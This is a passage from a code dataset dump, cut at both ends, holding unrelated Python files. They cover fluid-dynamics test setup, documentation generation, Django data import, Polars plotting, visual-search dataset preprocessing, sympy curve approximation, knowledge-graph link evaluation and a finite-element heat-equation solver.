print","repo_name":"jjcc/scrapybots","sub_path":"misc/metrices.py","file_name":"metrices.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13766481927","text":"state = 'start'\nif state == 'start':\n code = 1\nelif state == 'running':\n code = 2\nelif state == 'offline':\n code = 3\nelif state == 'unknown':\n code = 4\nelse:\n code = 5\n\nstate_dict = {'start': 1, 'running': 2, 'offline': 3, 'unknown': 4}\ncode = state_dict.get(state, 5)","repo_name":"kingname/SourceCodeOfBook","sub_path":"第2章/program/If_Statement.py","file_name":"If_Statement.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"3"} +{"seq_id":"22206719914","text":"import numpy as np\n\nfrom adFVM import config\nfrom adFVM.density import RCF \nfrom adFVM.mesh import Mesh\nfrom adpy import tensor\n\n# drag over cylinder surface\ndef objectiveDrag(U, T, p, *mesh, **options):\n solver = options['solver']\n mesh = Mesh.container(mesh)\n U0 = U.extract(mesh.neighbour)[0]\n U0i = U.extract(mesh.owner)[0]\n p0 = p.extract(mesh.neighbour)\n T0 = T.extract(mesh.neighbour)\n nx = mesh.normals[0]\n mungUx = solver.mu(T0)*(U0-U0i)/mesh.deltas\n drag = (p0*nx-mungUx)*mesh.areas\n return drag.sum()\n\ndef objective(fields, solver):\n U, T, p = fields\n mesh = solver.mesh.symMesh\n def _meshArgs(start=0):\n return [x[start] for x in mesh.getTensor()]\n\n patch = mesh.boundary['cylinder']\n startFace, nFaces = patch['startFace'], patch['nFaces']\n meshArgs = _meshArgs(startFace)\n drag = tensor.Zeros((1,1))\n drag = tensor.Kernel(objectiveDrag)(nFaces, (drag,))(U, T, p, *meshArgs, solver=solver)\n\n inputs = (drag,)\n outputs = tuple([tensor.Zeros(x.shape) for x in inputs])\n (drag,) = tensor.ExternalFunctionOp('mpi_allreduce', inputs, outputs).outputs\n\n return drag\n \nprimal = RCF('../cases/cylinder/',\n#primal = RCF('cases/cylinder/',\n mu=lambda T: 2.5e-5,\n boundaryRiemannSolver='eulerLaxFriedrichs',\n objective = objective,\n fixedTimeStep = True,\n)\n\ndef perturb(fields, mesh, t):\n #mid = np.array([-0.012, 0.0, 0.])\n #G = 100*np.exp(-3e4*norm(mid-mesh.cellCentres[:mesh.nInternalCells], axis=1)**2)\n mid = np.array([-0.001, 0.0, 0.])\n G = 1e5*np.exp(-1e5*np.linalg.norm(mid-mesh.cellCentres[:mesh.nInternalCells], axis=1, keepdims=1)**2)\n rho = G\n rhoU = np.zeros((mesh.nInternalCells, 3))\n rhoU[:, 0] += G.flatten()*100\n rhoE = G*2e5\n return rho, rhoU, rhoE\n\nparameters = 'source'\n\nnSteps = 20\nwriteInterval = 10\nstartTime = 0.0\ndt = 8e-9\n","repo_name":"chaitan3/adFVM","sub_path":"templates/cylinder_test.py","file_name":"cylinder_test.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"6715254703","text":"\"\"\"**Generating impact function documentation**\n\n\"\"\"\n\n__author__ = 'Ismail Sunni '\n__version__ = '1.0.0'\n__revision__ = '5c4e1757f2bc5279fcce92693b7a5548b78a9f0e'\n__date__ = '17/09/2012'\n__license__ = \"GPL\"\n__copyright__ = 'Copyright 2012, Australia Indonesia Facility for '\n__copyright__ += 'Disaster Reduction'\n\nimport os\nfrom safe.api import get_documentation, get_plugins\nfrom gen_rst_script import (create_dirs, create_rst_file, insafe_dir_path)\n\ndoc_dir = \"docs\" + os.sep + \"source\" + os.sep + \"user-docs\"\nimpact_func_doc_dir = 'impact_function_docs'\n\n\ndef pretty_key(myKey):\n \"\"\"Return a pretty key for documentation. Just remove underscore and\n capitalize\n :param myKey:string\n :return: a pretty one\n \"\"\"\n MyPrettyKey = myKey.replace('_', ' ').title()\n return MyPrettyKey\n\n\ndef gen_rst_doc(impfunc_doc):\n \"\"\"Generate .rst file\n :param\n impfunc_doc : dictionary that contains documentation\n :return\n None\n \"\"\"\n impact_func_doc_path = insafe_dir_path + os.sep + doc_dir + os.sep +\\\n impact_func_doc_dir\n for k, v in impfunc_doc.iteritems():\n content_rst = k\n content_rst += '\\n' + '=' * len(k) + '\\n\\n'\n # provide documentation\n content_rst += 'Overview'\n content_rst += '\\n' + '-' * len('Overview') + '\\n\\n'\n if type(v) is dict :\n for mykey, myValue in v.iteritems():\n if mykey == 'detailed_description':\n continue\n myPrettykey = pretty_key(mykey)\n content_rst += '**' + myPrettykey + '**' + ': '\n if type(myValue) is list and len(myValue) > 0:\n content_rst += '\\n\\n'\n for myVal in myValue:\n content_rst += '* ' + myVal + '\\n'\n elif myValue is None or len(myValue) == 0:\n content_rst += 'No documentation found'\n else:\n content_rst += myValue\n content_rst += '\\n\\n'\n content_rst += 'Details'\n content_rst += '\\n' + '-' * len('Details') + '\\n\\n'\n if 'detailed_description' in v.iterkeys():\n content_rst += v['detailed_description']\n else:\n content_rst += 'No documentation found'\n else:\n content_rst += 'No documentation found'\n\n create_rst_file(impact_func_doc_path, k.replace(' ', ''), content_rst)\n\n\ndef gen_impact_func_index(list_unique_identifier=[]):\n \"\"\"Generate impact function index\n \"\"\"\n content_rst = ''\n title_page = 'Impact Functions Documentation'\n content_rst += '=' * len(title_page) + '\\n'\n content_rst += title_page + '\\n'\n content_rst += '=' * len(title_page) + '\\n\\n'\n\n content_rst += ('This document explains the purpose of impact functions '\n 'and lists the different available impact function and '\n 'the requirements each has to be used effectively.\\n\\n')\n\n content_rst += '.. toctree::\\n'\n content_rst += ' :maxdepth: 2\\n\\n'\n\n # list impact function\n for ui in list_unique_identifier:\n content_rst += ' ' + impact_func_doc_dir + os.sep + \\\n ui.replace(' ', '') + '\\n'\n\n create_rst_file(insafe_dir_path + os.sep + doc_dir, 'impact_functions_doc',\n content_rst)\n\n\nif __name__ == \"__main__\":\n impfunc_doc = {}\n # Get all impact functions\n plugins_dict = get_plugins()\n for k in plugins_dict.keys():\n impfunc_doc[k] = get_documentation(k)\n list_unique_identifier = [x['unique_identifier']\n for x in impfunc_doc.itervalues()]\n gen_impact_func_index(list_unique_identifier)\n\n create_dirs(insafe_dir_path + os.sep + doc_dir + os.sep +\n impact_func_doc_dir)\n gen_rst_doc(impfunc_doc)\n","repo_name":"gvallarelli/inasafe","sub_path":"scripts/gen_impfunc_doc.py","file_name":"gen_impfunc_doc.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"71766214483","text":"from audio_recorder.models import Utterances\nfrom django.contrib.auth.models import User\nfrom datasets import load_dataset\nimport glob\nimport pathlib\nimport json\nimport os\nimport random\n\n\ndef create_sample_utterance(user, utterance, audio):\n\tpost = SampleUtterances(test=utterance,\n\t\t\t\t\t\t)\n\tpost.save()\n\ndef create_utterance(user, utterance, audio, language):\n\tpost = Utterances(\tutterance=utterance,\n\t\t\t\t\t\taudio_recording=audio,\n\t\t\t\t\t\tlanguage = language,\n\t\t\t\t\t\tauthor=user)\n\tpost.save()\n\ndef main(sample:bool=False):\n\tuser = User.objects.filter(username=\"knoriy\").first()\n\tpaths = glob.glob(\"media/**/*.json\")\n\trandom.shuffle(paths)\n\tif sample:\n\t\tpaths = paths[:10]\n\tprint(paths)\n\tfor path in paths:\n\t\tpath = pathlib.Path(path)\n\t\twith open(path) as f:\n\t\t\tmeta = json.load(f)\n\t\t\taudio_file_path = os.path.join('media', path.parent.name, path.stem+'.flac')\n\tif sample:\n\t\tcreate_sample_utterance(user, meta['text'], audio_file_path)\n\telse:\n\t\tcreate_utterance(user, meta['text'], audio_file_path)\n\ndef youtube():\n\tuser = User.objects.filter(username=\"knoriy\").first()\n\t# dataset = load_dataset('knoriy/OE-DCT-Movie-clips')\n\tdataset = load_dataset('parquet', data_files='data.parquet')\n\tfor split in dataset.keys():\n\t\tfor sample in dataset[split].shuffle(seed=42):\n\t\t\tcreate_utterance(user, sample['text'], sample['url'], sample['language'])\n\t\n\n\nif __name__ == '__main__':\n\tyoutube()","repo_name":"openempathic/EMNS-DCT","sub_path":"src/create_utterances.py","file_name":"create_utterances.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"9615957018","text":"import polars as pl\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfile_paths = [\"1_circle_exp_30_1.csv\", \"1_circle_exp_30_2.csv\", \"1_circle_exp_30_3.csv\", \"1_circle_exp_30_4.csv\", \"1_circle_exp_30_5.csv\"]\ndfs = []\n\nfor file_path in file_paths:\n df = pl.read_csv(file_path)\n dfs.append(df)\n\n# Concatenate the DataFrames from all files into a single DataFrame\nmerged_df = pl.concat(dfs)\n\n# Perform the groupby and aggregation operations\ngrouped_df = (\n merged_df.lazy()\n .groupby(\"frame\")\n .agg(\n [\n pl.col(\"site_id\").is_null().sum().alias(\"no_site\"),\n pl.col(\"site_id\").eq(0).sum().alias(\"site_A\"),\n ]\n )\n .with_columns((pl.col(\"site_A\") / 50).alias(\"proportion\"))\n .sort(\"frame\")\n .collect()\n .limit(17500)\n)\n\n# Convert Polars DataFrame to Pandas DataFrame\npandas_df = grouped_df.to_pandas()\n\n# Create the box plot using Seaborn\nsns.boxplot(data=pandas_df, x='frame', y='proportion')\n\n# Set labels and title\nplt.xlabel('Frame')\nplt.ylabel('Proportion')\nplt.title('Box Plot of Proportion over Time')\n\n# Show the plot\nplt.show()","repo_name":"karolinahhh/collective_intelligence","sub_path":"assignment1/data_analysis/data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43373283659","text":"import itertools\n\ns = input()\nsLen = len(s)\nresult = \"\"\n\narr = [i for i in range(1, sLen)] # 1 ~ sLen-1\ncomb = itertools.combinations(arr, 2) # nC2\n\nfor c in comb : \n first = c[0]\n second = c[1]\n\n sub1 = s[0:first]\n sub2 = s[first:second]\n sub3 = s[second:]\n \n reverse1 = sub1[::-1]\n reverse2 = sub2[::-1]\n reverse3 = sub3[::-1]\n\n tmp = reverse1 + reverse2 + reverse3\n \n if len(result) == 0:\n result = tmp\n else :\n if result > tmp : \n result = tmp\n\nprint(result)","repo_name":"hobin-jang/baekjoon","sub_path":"python/2993.py","file_name":"2993.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"2468853055","text":"import numpy as np\nfrom . import constants\nfrom os import path, listdir\nfrom .irl_dcb import utils\nfrom .irl_dcb.data import LHF_IRL\nfrom .irl_dcb.build_belief_maps import build_belief_maps\n\ndef process_trials(trials_properties, images_dir, human_scanpaths, new_image_size, grid_size, DCB_dir_HR, DCB_dir_LR):\n bbox_annos = {}\n iteration = 1\n for trial in list(trials_properties):\n # If the target isn't categorized, remove it\n if trial['target_object'] == 'TBD':\n trials_properties.remove(trial)\n continue\n \n # If the model is going to follow a given subject's scanpaths, only keep those scanpaths related to the subject\n if human_scanpaths and not (trial['image'] in human_scanpaths):\n trials_properties.remove(trial)\n continue\n \n old_image_size = (trial['image_height'], trial['image_width'])\n\n # Rescale everything to image size used\n rescale_coordinates(trial, old_image_size, new_image_size)\n \n # Add trial's bounding box info to dict\n category_and_image_name = trial['target_object'] + '_' + trial['image']\n bbox_annos[category_and_image_name] = (trial['target_matched_column'], trial['target_matched_row'], trial['target_width'], trial['target_height'])\n\n # Create belief maps for image if necessary\n check_and_build_belief_maps(trial['image'], images_dir, DCB_dir_HR, DCB_dir_LR, new_image_size, grid_size, iteration, total=len(trials_properties))\n \n iteration += 1\n \n return bbox_annos\n\ndef check_and_build_belief_maps(image_name, images_dir, DCB_dir_HR, DCB_dir_LR, new_image_size, grid_size, iter_number, total):\n img_belief_maps_file = image_name[:-4] + '.pth.tar'\n high_res_belief_maps = path.join(DCB_dir_HR, img_belief_maps_file)\n low_res_belief_maps = path.join(DCB_dir_LR, img_belief_maps_file)\n if not (path.exists(high_res_belief_maps) and path.exists(low_res_belief_maps)):\n print('Building belief maps for image ' + image_name + ' (' + str(iter_number) + '/' + str(total) + ')')\n build_belief_maps(image_name, images_dir, (new_image_size[1], new_image_size[0]), grid_size, constants.SIGMA_BLUR, constants.NUMBER_OF_BELIEF_MAPS, DCB_dir_HR, DCB_dir_LR) \n\ndef rescale_coordinates(trial, old_image_size, new_image_size):\n old_image_height = old_image_size[0]\n old_image_width = old_image_size[1]\n new_image_height = new_image_size[0]\n new_image_width = new_image_size[1]\n\n trial['target_matched_column'] = utils.rescale_coordinate(trial['target_matched_column'], old_image_width, new_image_width)\n trial['target_matched_row'] = utils.rescale_coordinate(trial['target_matched_row'], old_image_height, new_image_height)\n trial['target_width'] = utils.rescale_coordinate(trial['target_width'], old_image_width, new_image_width)\n trial['target_height'] = utils.rescale_coordinate(trial['target_height'], old_image_height, new_image_height)\n trial['initial_fixation_column'] = utils.rescale_coordinate(trial['initial_fixation_column'], old_image_width, new_image_width)\n trial['initial_fixation_row'] = utils.rescale_coordinate(trial['initial_fixation_row'], old_image_height, new_image_height)\n\n # Save new image size\n trial['image_width'] = new_image_width\n trial['image_height'] = new_image_height\n\ndef process_eval_data(trials_properties, human_scanpaths, DCB_HR_dir, DCB_LR_dir, target_annos, grid_size, hparams):\n target_init_fixs = {}\n for trial in trials_properties:\n key = trial['target_object'] + '_' + trial['image']\n if human_scanpaths:\n initial_fix = (human_scanpaths[trial['image']]['X'][0] / grid_size[1], human_scanpaths[trial['image']]['Y'][0] / grid_size[0])\n else:\n initial_fix = (trial['initial_fixation_column'] / trial['image_width'], trial['initial_fixation_row'] / trial['image_height'])\n target_init_fixs[key] = initial_fix\n\n # Since the model was trained for these specific categories, the list must always be the same, regardless of the dataset\n target_objects = ['bottle', 'bowl', 'car', 'chair', 'clock', 'cup', 'fork', 'keyboard', 'knife', 'laptop', \\\n 'microwave', 'mouse', 'oven', 'potted plant', 'sink', 'stop sign', 'toilet', 'tv']\n # target_objects = list(np.unique([x['target_object'] for x in trials_properties]))\n\n catIds = dict(zip(target_objects, list(range(len(target_objects)))))\n\n test_task_img_pair = np.unique([traj['target_object'] + '-' + traj['image'] for traj in trials_properties])\n\n # Load image data\n test_img_dataset = LHF_IRL(DCB_HR_dir, DCB_LR_dir, target_init_fixs,\n test_task_img_pair, target_annos,\n hparams.Data, catIds)\n return {\n 'catIds': catIds,\n 'img_test': test_img_dataset,\n }\n\ndef load_human_scanpaths(human_scanpaths_dir, human_subject, grid_size):\n if human_subject is None:\n return {}\n\n human_scanpaths_files = listdir(human_scanpaths_dir)\n human_subject_str = str(human_subject)\n if human_subject < 10: human_subject_str = '0' + human_subject_str\n human_subject_file = 'subj' + human_subject_str + '_scanpaths.json'\n if not human_subject_file in human_scanpaths_files:\n raise NameError('Scanpaths for human subject ' + human_subject_str + ' not found!')\n \n human_scanpaths = utils.load_dict_from_json(path.join(human_scanpaths_dir, human_subject_file))\n\n rescale_scanpaths(human_scanpaths, grid_size)\n\n return human_scanpaths \n\ndef rescale_scanpaths(human_scanpaths, grid_size):\n for key in list(human_scanpaths):\n scanpath = human_scanpaths[key]\n image_size = (scanpath['image_height'], scanpath['image_width'])\n scanpath['X'], scanpath['Y'] = utils.rescale_and_crop(scanpath, grid_size, [1, 1])\n scanpath['target_bbox'] = [int(utils.rescale_coordinate(scanpath['target_bbox'][i], image_size[i % 2 == 1], grid_size[i % 2 == 1])) for i in range(len(scanpath['target_bbox']))]\n if len(scanpath['X']) <= 1:\n del human_scanpaths[key]","repo_name":"FerminT/VisualSearchBenchmark","sub_path":"Models/IRL/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6211,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"11803682985","text":"from waihonanumpy import RedisStorage\nimport numpy as np\n\nr = RedisStorage(\"password\", testing=True)\n\ni = np.identity(3)\na = np.arange(15).reshape(3, 5)\na2= a*2\nii = np.arange(21).reshape(3, 7)\n\nr[\"p1\",\"r1\"] = a\n\na_prime_key, a_prime_value = r[\"p1\",\"r1\"] \n\nif (a == a_prime_value).all():\n print(\"ok !\")\nelse:\n print(\"Error\")\n\nr[\"p1\",\"r2\"] = a2 \nr[\"p2\",\"r100\"] = i\n\nresultA = r[\"p1\",\"*\"]\nprint(resultA)\n\nresultB = r[\"p*\",\"*\"]\nprint(resultB)\n\nr[\"p1\",\"*\"] = ii\nresultZ = r[\"p1\",\"*\"] \nprint(resultZ)\n\ndel r[\"p1\",\"*\"]\nresultBZ = r[\"p*\",\"*\"]\nprint(resultBZ)","repo_name":"radiomicsgroup/waihona-numpy","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4130490261","text":"import sympy as sym\nfrom sympy import lambdify\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy import linspace\nimport math\nfrom functions import *\n\n\ndef main():\n orig_func = 'x ** 2'\n func = 'a+b*x+c*(sqrt(x))'\n g = ['1', 'x', '(sqrt(x))']\n X = np.arange(0, 3.1, 1) # набор Х\n # x = sym.symbols('x')\n a, b, c, d, e, f, x = sym.symbols('a b c d e f x') # обозначаем символы\n symb_turp = (a, b, c, d, e, f) # кортеж коэфицентов\n Y_podstav = lambdify(x, sym.S(orig_func), \"numpy\") # подставляем набор X в оригинальную функцию\n Y = [Y_podstav(n) for n in X] # набор Y\n print('X = ', X)\n print('Y = ', Y)\n koefs = CountSum(x, g, X, Y)\n print('Коэффиценты = ', koefs)\n\n Aprox_podstav = lambdify([x] + [symb_turp[n] for n in range(len(g))], sym.S(func), \"numpy\")\n y_nodes = [Aprox_podstav(n, koefs[0], koefs[1], koefs[2]) for n in X]\n print('Y апроксимации = ', y_nodes)\n\n x_graph = linspace(0, 4, num=100, dtype='float')\n y_graph_orig = [Y_podstav(n) for n in x_graph]\n plt.plot(X, Y, 'ro')\n plt.plot(x_graph, y_graph_orig, '-r', label='Оригинальная функция')\n\n y_graph = [Aprox_podstav(n, koefs[0], koefs[1], koefs[2]) for n in x_graph]\n plt.plot(X, y_nodes, 'bo')\n plt.plot(x_graph, y_graph, '-b', label='Апроксимация')\n\n plt.title(func)\n plt.grid(True)\n # plt.get_current_fig_manager().full_screen_toggle()\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Ilihon/SibSUTIS-Bachelor","sub_path":"4 семестр/Вычмат/лабы/Апроксимация/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"38045854170","text":"import ast\nimport pandas as pd\n\ndef count_entries_with_links(df, column):\n # Assuming NaN or empty lists are considered as \"no links\"\n # If the column contains list-like structures as strings, you might need to convert them to lists first\n return df[df[column].str.len() > 0].shape[0]\n\ndef count_total_links(df, column):\n # If the column contains list-like structures as strings, you might need to convert them to lists first\n # Assuming each link corresponds to an element in the list\n return df[column].str.len().sum()\n\n\n# Calculate percentage of correctly found wiki topics in the list\ndef get_perc_of_found_wikidata(df):\n total_count = len(df)\n m_count = len(df[df['Match'] == 'm'])\n m_percent = (m_count / total_count) * 100\n # Print results\n print(f\"Nr of correct found wikidata topics - count: {m_count}\")\n print(f\"Nr of correct found wikidata topics - percentage: {m_percent:.2f}%\")\n return m_percent\n\ndef get_perc_of_found_dbpedia(df):\n total_count = len(df) \n m_count_d = len(df[df['wiki_dbpedia'] == 'd'])\n m_count_b = len(df[df['wiki_dbpedia'] == 'b'])\n m_count = m_count_d + m_count_b\n m_percent = (m_count / total_count) * 100\n # Print results\n print(f\"Nr of correct found dbpedia topics - count: {m_count}\")\n print(f\"Nr of correct found dbpedia topics - percentage: {m_percent:.2f}%\")\n return m_percent\n\ndef get_perc_of_found_wikipedia(df):\n total_count = len(df)\n m_count_w = len(df[df['wiki_dbpedia'] == 'w'])\n m_count_b = len(df[df['wiki_dbpedia'] == 'b'])\n m_count = m_count_w + m_count_b\n m_percent = (m_count / total_count) * 100\n # Print results\n print(f\"Nr of correct found wikipedia topics - count: {m_count}\")\n print(f\"Nr of correct found wikipedia topics - percentage: {m_percent:.2f}%\")\n return m_percent\n\n# Calculate percentage of lecture topics where a corresponding wiki topic exists\ndef get_possible_wiki(df):\n total_count = len(df)\n m_count = len(df[df['wiki_exists'] == 'y'])\n m_percent = (m_count / total_count) * 100\n # Print results\n print(f\"Nr of possible wiki topics - count: {m_count}\")\n print(f\"Nr of possible wiki topics - percentage: {m_percent:.2f}%\")\n return df[df['wiki_exists'] == 'y']\n\n# Get the number of entries which have at least one wikipedia ID\ndef get_wikipedia_entries(df):\n return df[df['wikipedia_ids'].str.len() > 0].shape[0]\n\n# Get the number of entries which have at least one dbpedia ID\ndef get_dbpedia_entries(df):\n return df[df['dbpedia_ids'].str.len() > 0].shape[0]\n\n# Get the number of entries which have at least one wikidata ID\ndef get_wikidata_entries(df):\n return df[df['wiki_ids'].str.len() > 0].shape[0]\n\n\n\n\ndf = pd.read_csv('topics_v2.csv')\nlink_types = ['beyondlinks', 'forwardlinks', 'backwardlinks', 'basiclinks', 'lecturelinks']\nfor i, row in df.iterrows():\n for column in link_types:\n if row.get(column) is not '' and not pd.isna(row.get(column)):\n row[column] = ast.literal_eval(row.get(column))\n else:\n row[column] = []\n# Fill NaN values in parent_id with empty string\ndf['parent_id'] = df['parent_id'].fillna('')\nparent_id_count = df[df['parent_id'] != \"\"].shape[0]\nprint(f'Number of entries with at least one parent id: {parent_id_count}')\nfor link_type in link_types:\n num_entries = count_entries_with_links(df, link_type)\n print(f'Number of entries with at least one {link_type}: {num_entries}')\n \n total_links = count_total_links(df, link_type)\n print(f'Total number of {link_type}: {total_links}')\n\n\n# Wikidata Part\ndf = pd.read_excel('./evaluated/eval_enhanced_topics.xlsx')\nlink_types = ['wiki_ids']\ndf['wiki_ids'] = df['wiki_ids'].fillna('[]')\nfor i, row in df.iterrows():\n for column in link_types:\n if row.get(column) is not '[]':\n row[column] = ast.literal_eval(row.get(column))\n else:\n row[column] = []\nprint(f\"Total count for all topics: {len(df)}\")\nprint('# Wikidata Part')\nprint(f\"Total count for all wikidata topics: {count_total_links(df, 'wiki_ids')}\")\nprint(f\"Total count for all wikidata topics: {get_wikidata_entries(df)}\")\nget_perc_of_found_wikidata(df)\ndf_wiki_exist = get_possible_wiki(df)\nprint(f\"Now check percentage of topics where a wikidata topic exists - Nr of lecture topics: {len(df_wiki_exist)}\")\nget_perc_of_found_wikidata(df_wiki_exist)\n\n# DBPediea Part\ndf_2 = pd.read_excel('./evaluated/eval_enhanced_topics_2.xlsx')\nlink_types = ['dbpedia_ids', 'wikipedia_ids']\ndf_2['dbpedia_ids'] = df_2['dbpedia_ids'].fillna('[]')\ndf_2['wikipedia_ids'] = df_2['wikipedia_ids'].fillna('[]')\nfor i, row in df_2.iterrows():\n for column in link_types:\n if row.get(column) is not '[]':\n row[column] = ast.literal_eval(row.get(column))\n else:\n row[column] = []\nprint('# DBPedia Part')\nprint(f\"Total count for all dbpedia topics: {count_total_links(df_2, 'dbpedia_ids')}\")\nprint(f\"Total count for all dbpedia topics: {get_dbpedia_entries(df_2)}\")\nget_perc_of_found_dbpedia(df_2)\ndf_wiki_exist_2 = get_possible_wiki(df_2)\nprint(f\"Now check percentage of topics where a wiki topic exists - Nr of lecture topics: {len(df_wiki_exist_2)}\")\nget_perc_of_found_dbpedia(df_wiki_exist_2)\n\n# wikipedia Part\nprint('# Wikipedia Part')\nprint(f\"Total count for all wikipedia topics: {count_total_links(df_2, 'wikipedia_ids')}\")\nprint(f\"Total count for all wikipedia topics: {get_wikipedia_entries(df_2)}\")\nget_perc_of_found_wikipedia(df_2)\nprint(f\"Now check percentage of topics where a wiki topic exists - Nr of lecture topics: {len(df_wiki_exist_2)}\")\nget_perc_of_found_wikipedia(df_wiki_exist_2)","repo_name":"tillhoffmann1411/kg-generation-for-educational-resources","sub_path":"load_evaluate.py","file_name":"load_evaluate.py","file_ext":"py","file_size_in_byte":5637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70330529682","text":"import warnings\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom scipy.sparse.linalg import spsolve\n\nfrom .assemble import assemble\nfrom .geometry import Rectangle\nfrom .basis_functions import _hatv, _ghatv\n\n\ndef assemble_mass(geometry):\n dx, dy = geometry.dx, geometry.dy\n m = dx * dy * np.array([\n [1 / 12, 1 / 24, 1 / 24],\n [1 / 24, 1 / 12, 1 / 24],\n [1 / 24, 1 / 24, 1 / 12]])\n\n return assemble(m, geometry.neighboors_interior(geometry.elems))\n\n\ndef assemble_boundary_mass_y(geometry):\n m = geometry.dy * np.array([[1 / 3, 1 / 6], [1 / 6, 1 / 3]])\n\n return assemble(m,\n geometry.neighboors_exterior(\n np.concatenate((\n geometry.boundary_elems(1),\n geometry.boundary_elems(3)\n ))\n )\n )\n\n\ndef assemble_boundary_mass_x(geometry):\n m = geometry.dx * np.array([[1 / 3, 1 / 6], [1 / 6, 1 / 3]])\n\n return assemble(m,\n geometry.neighboors_exterior(\n np.concatenate((\n geometry.boundary_elems(0),\n geometry.boundary_elems(2)\n ))\n )\n )\n\n\ndef assemble_stiffness(geometry):\n dx, dy = geometry.dx, geometry.dy\n a = np.array([\n [(dx ** 2 + dy ** 2) / (2 * dx * dy), -dy / (2 * dx), -dx / (2 * dy)],\n [-dy / (2 * dx), dy / (2 * dx), 0.0],\n [-dx / (2 * dy), 0.0, dx / (2 * dy)]])\n\n return assemble(a, geometry.neighboors_interior(geometry.elems))\n\n\nclass LaplaceOnRectangle:\n def __init__(self, dx, width, height, f, heat_conductivity=1.0):\n\n self.lamda = heat_conductivity\n self.f = f\n self.geometry = Rectangle(width, height, dx, dx)\n\n self._initialize()\n self.reset()\n\n def _initialize(self):\n self.A = self.lamda * assemble_stiffness(self.geometry)\n self.M = assemble_mass(self.geometry)\n\n self.Mbx = assemble_boundary_mass_x(self.geometry)\n self.Mby = assemble_boundary_mass_y(self.geometry)\n\n def reset(self):\n self.sol = np.zeros(self.geometry.ndofs)\n self.boundary_set = set()\n x, y = self.geometry.coords(self.geometry.dofs)\n self.rhs = self.M @ self.f(x, y)\n\n def set_dirchlet(self, e, fd, raw=False):\n if hasattr(e, '__iter__'):\n boundary = e\n else:\n boundary = self.geometry.boundary_dofs(e)\n\n self.boundary_set = self.boundary_set.union(boundary)\n\n if raw:\n self.sol[boundary] = fd\n else:\n x, y = self.geometry.coords(boundary)\n self.sol[boundary] = fd(x, y)\n\n self.rhs -= self.A[:, boundary] @ self.sol[boundary]\n\n def set_neumann(self, e, fn, raw=False):\n if hasattr(e, '__iter__'):\n boundary = e\n else:\n boundary = self.geometry.boundary_dofs(e)\n\n if raw:\n self.rhs[boundary] += fn\n\n else:\n x, y = self.geometry.coords(boundary)\n M = self.Mbx if e in (0, 2) else self.Mby\n self.rhs += self.lamda * M[:, boundary] @ fn(x, y)\n\n def solve(self):\n active_dofs = list(set(self.geometry.dofs) - self.boundary_set)\n self.sol[active_dofs] = spsolve(\n self.A[active_dofs, :][:, active_dofs],\n self.rhs[active_dofs]\n )\n return self.sol\n\n def heat_flux_at_nodes(self, i):\n return self.A[i, :] @ self.sol\n\n def evaluate(self, x, y):\n xc, yc = self.geometry.coords(self.geometry.dofs)\n xx = x[..., np.newaxis] - xc.reshape(*(1 for _ in x.shape), -1)\n yy = y[..., np.newaxis] - yc.reshape(*(1 for _ in y.shape), -1)\n\n # somewhat inefficient since we evaluate all basis functions in every point\n return np.sum(self.sol * _hatv(xx, yy, self.geometry.dx, self.geometry.dy), axis=-1)\n\n def plot(self, k=100, show=True, **kwargs):\n x, y = np.meshgrid(\n np.linspace(0, self.geometry.width, k),\n np.linspace(0, self.geometry.height, k)\n )\n z = self.evaluate(x, y)\n plt.imshow(\n z,\n interpolation=None,\n origin=\"lower\",\n extent=[0, self.geometry.width, 0, self.geometry.height],\n **kwargs,\n )\n plt.colorbar()\n if show:\n plt.show()\n\n def heat_flux(self, x, y, n):\n xc, yc = self.geometry.coords(self.geometry.dofs)\n xx = x[..., np.newaxis] - xc.reshape(*(1 for _ in x.shape), -1)\n yy = y[..., np.newaxis] - yc.reshape(*(1 for _ in y.shape), -1)\n\n if np.any(xx == 0) or np.any(yy == 0):\n warnings.warn(\"Heat flux is undefined on grid skeleton\")\n\n # somewhat inefficient since we evaluate all basis functions in every point\n return -np.sum(self.sol * _ghatv(xx, yy, *n, self.geometry.dx, self.geometry.dy), axis=-1)\n\n\nclass HeatEqOnRectangle(LaplaceOnRectangle):\n\n def __init__(self, dt, dx, width, height, f, initial_condition, heat_conductivity=1.0, heat_capacitance=1.0):\n self.dt = dt\n self.alpha = heat_capacitance\n self.initial_condition = initial_condition\n super().__init__(dx, width, height, f, heat_conductivity=heat_conductivity)\n\n def _initialize(self):\n super()._initialize()\n x, y = self.geometry.coords(self.geometry.dofs)\n self.u_old = self.initial_condition(x, y)\n self.A_hat = self.alpha * self.M + self.dt * self.A\n\n def set_dirchlet(self, e, fd, raw=False):\n if hasattr(e, '__iter__'):\n boundary = e\n else:\n boundary = self.geometry.boundary_dofs(e)\n\n self.boundary_set = self.boundary_set.union(boundary)\n\n if raw:\n self.sol[boundary] = fd\n else:\n x, y = self.geometry.coords(boundary)\n 